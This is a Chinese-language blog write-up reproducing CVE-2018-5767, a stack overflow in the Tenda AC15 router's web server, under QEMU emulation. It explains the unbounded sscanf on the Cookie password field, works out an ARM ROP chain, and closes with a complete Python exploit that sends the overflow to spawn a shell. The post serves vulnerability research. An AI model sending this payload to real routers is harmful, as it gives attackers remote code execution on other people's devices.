CVE-2018-5767 Tenda AC15 armv7路由器栈溢出复现

本文最后更新于:2024年8月14日 凌晨

保护绕过

cp $(which qemu-arm-static) .

尝试利用qemu执行httpd,有见到WeLoveLinux字样,ida直接定位到对应位置,其实就是start中_uClibc_main中的r0参数,即sub_2CEA8,但没有继续执行,调试发现称没有网络导致一直sleep(1),发现因为check_network一直在尝试访问br0网络,跳过循环的方式就是,当尝试BGT时,会等待前一个CMP的返回,检查寄存器是否大于对比值,那么因为这里对比的就是R3寄存器,前面对R3赋值就可以了,也就是前一条指令修改为MOV R3, #1,配合上CMP R3, #0,就过BGT了。

page1

这里过了之后,发现因为check_network一直在尝试访问br0网络,而br0不存在导致ip显示不正确,跳过方式就是直接建立网桥把名称为br0的绑定到自己的网卡名称上。

1
2
3
4
sudo brctl addbr br0
ifconfig # 查看自己的ip
sudo ifconfig br0 $ip/24
sudo ifconfig br0 up

函数检查

根据已公布信息,直接找到R7WebsSecurityHandler函数,很明显sscanf就是漏洞函数了

page2

sscanf就好像第一个参数是输入的内容,第二个参数是格式化字符串,后面的参数就是赋值,这一段的内容就是先检查到password=的位置,然后将”=”和”;”之间的内容赋值到v36上,但很明显这里没有做任何的长度限制,不确定长度可以用过长的长度测,但漏洞点已经确定了。

cyclic测出来是447字长,接下来就是arm rop了。

函数处理由/goform/exeCommand接收,接下来根据规则如果URL文件后缀不是gif才进入if函数体,那么就加一个.gif让程序流直接从R7WebsSecurityHandler返回,这样控制起来就简单多。

ROP

arm-v7a syscall方式为r7是系统调用号,r0到r5按序是五个参数。arm返回地址在pc寄存器上,不在栈上。

libc_base的获取可以通过动调获得,例如说ida,qemu使用-g参数,选择Remote GDB debugger后动调例如说找到puts函数的got表的位置,进去之后的地址减去puts在libc中的基址就是libc_base,部分场景是可以通过/proc/pid/map去获得地址的,但这个固件不行,我这个地址就需要减0x1FFD000。

接下来就需要构造ROP形成system('/bin/sh\x00'),那么首先就要找到合适的跳转,经过查找,r3寄存器存在了与pc寄存器的pop关联,就是0x18298处的pop r3, pc,然后就需要找到对应的跳转和r0的控制,以及如何放入/bin/sh,那么就可以找到0x40cb8处的mov r0, sp; blx r3,arm的压栈方式类似amd64,进行指令的四字节的下一个四字节指令才是要压入的内容,那么接下来就需要构造Cookie为cyclic+”.gif”+pop_r3_pc+system+mov_blx+binsh。

就可以得到如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import struct
import requests

ip = "192.168.1.5"
command = "/bin/sh\x00"

url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'a=0',
'Cache-Control': 'max-age=0'
}

libc = 0x41de2000-0x1FFD000
libc = 0x3FDE5000
pop_r3_pc = struct.pack("< I",0x00018298+libc) # pop r3, pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc) # mov r0, sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()
password = b"A" * 444+b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password

try:
response = requests.get(url,headers=headers,timeout=1)
except:
pass


CVE-2018-5767 Tenda AC15 armv7路由器栈溢出复现
http://example.com/2024/07/25/CVE-2018-5767-Tenda-AC15-armv7路由器栈溢出复现/
作者
OSLike
发布于
2024年7月25日
许可协议